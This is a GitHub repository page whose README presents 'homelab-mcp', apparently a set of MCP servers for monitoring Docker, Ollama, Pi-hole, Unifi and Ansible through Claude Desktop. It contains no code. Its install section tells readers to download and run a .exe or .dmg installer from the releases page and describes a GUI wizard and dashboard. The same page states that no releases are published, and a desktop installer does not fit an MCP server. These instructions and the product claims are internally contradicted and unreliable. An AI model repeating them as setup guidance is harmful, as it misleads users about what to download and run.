Skip to content

πŸ”§ Manage and monitor your homelab infrastructure efficiently with Model Context Protocol (MCP) servers through Claude Desktop.

License

Notifications You must be signed in to change notification settings

myraffy/homelab-mcp

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

74 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🏠 homelab-mcp - Simplify Your Homelab Management

Download

πŸ“– Description

The Model Context Protocol (MCP) servers help you manage your homelab infrastructure with ease. This application allows you to monitor Docker/Podman containers, Ollama AI models, Pi-hole DNS, Unifi networks, and Ansible inventory seamlessly. It includes security checks, templates, and automated pre-push validation to keep your setup secure and efficient. With our production-ready software, you can enhance your homelab experience without hassle.

πŸš€ Getting Started

To begin using the homelab-mcp application, follow these steps:

  1. Check System Requirements:

    • Operating System: Windows 10, macOS 10.15 or later, Linux (Ubuntu/CentOS)
    • Minimum RAM: 4 GB
    • Processor: Dual-core 1.5 GHz or faster
    • Storage: At least 200 MB of free space
  2. Download the Application: To get the latest version of homelab-mcp, visit this page to download. Choose the appropriate version for your operating system from the available assets.

πŸ’» Download & Install

  1. Visit the Releases Page: Go to the releases section by clicking here.

  2. Select Your Version: On the releases page, you will find a list of versions. Look for the most recent version. Click on the version you want to download.

  3. Download the File: Choose the correct file for your system. For example, if you are on Windows, download the .exe file; if you are on macOS, download the .dmg file. Click on the file name to begin the download.

  4. Run the Installer: Once the download completes, locate the file in your downloads folder. Double-click the file to run the installer. Follow the on-screen prompts to complete the installation.

  5. Launch the Application: After installation, find the homelab-mcp icon on your desktop or in your applications folder. Double-click the icon to launch the application.

βš™οΈ Using homelab-mcp

  1. Configure Your Settings: The first time you run the application, you'll see a configuration wizard. Enter the necessary details about your homelab environment, including any services you want to monitor.

  2. Connect to Your Services: Set up integrations with Docker, Ollama, Pi-hole, and Unifi. The application will guide you through the connection process for each service.

  3. Monitoring and Management: Once everything is set up, you can start monitoring your homelab. The dashboard will display vital statistics, alerts, and performance metrics for all connected services.

πŸ›  Features

  • Docker/Podman Monitoring: Keep track of your containers' health and status.
  • Ollama AI Model Management: Easily manage and monitor your AI models.
  • Pi-hole DNS Management: Check the status of your Pi-hole and DNS requests.
  • Unifi Network Management: Monitor your Unifi network devices from a single interface.
  • Ansible Inventory Handling: Manage your Ansible playbooks and inventories conveniently.
  • Security Checks: Built-in security audits to ensure your setup remains secure.
  • Automated Pre-push Validation: Automatically validate configurations before pushing to production.

πŸ“š Documentation

For detailed usage instructions, configuration options, and advanced features, refer to the Documentation.

βš–οΈ License

The homelab-mcp application is open-source and available under the MIT License. You can view the full license here.

πŸ—£ Community & Support

If you have questions or need help, join our community:

πŸ‘¨β€πŸ’» Contributors

Thank you to everyone who has contributed to this project. Your support helps improve homelab-mcp for all users.

Feel free to contribute to the project by submitting a pull request or providing feedback through GitHub.

πŸ”— Links

Now you're ready to manage your homelab infrastructure with confidence. Enjoy using homelab-mcp!

About

πŸ”§ Manage and monitor your homelab infrastructure efficiently with Model Context Protocol (MCP) servers through Claude Desktop.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 4

  •  
  •  
  •  
  •  

Languages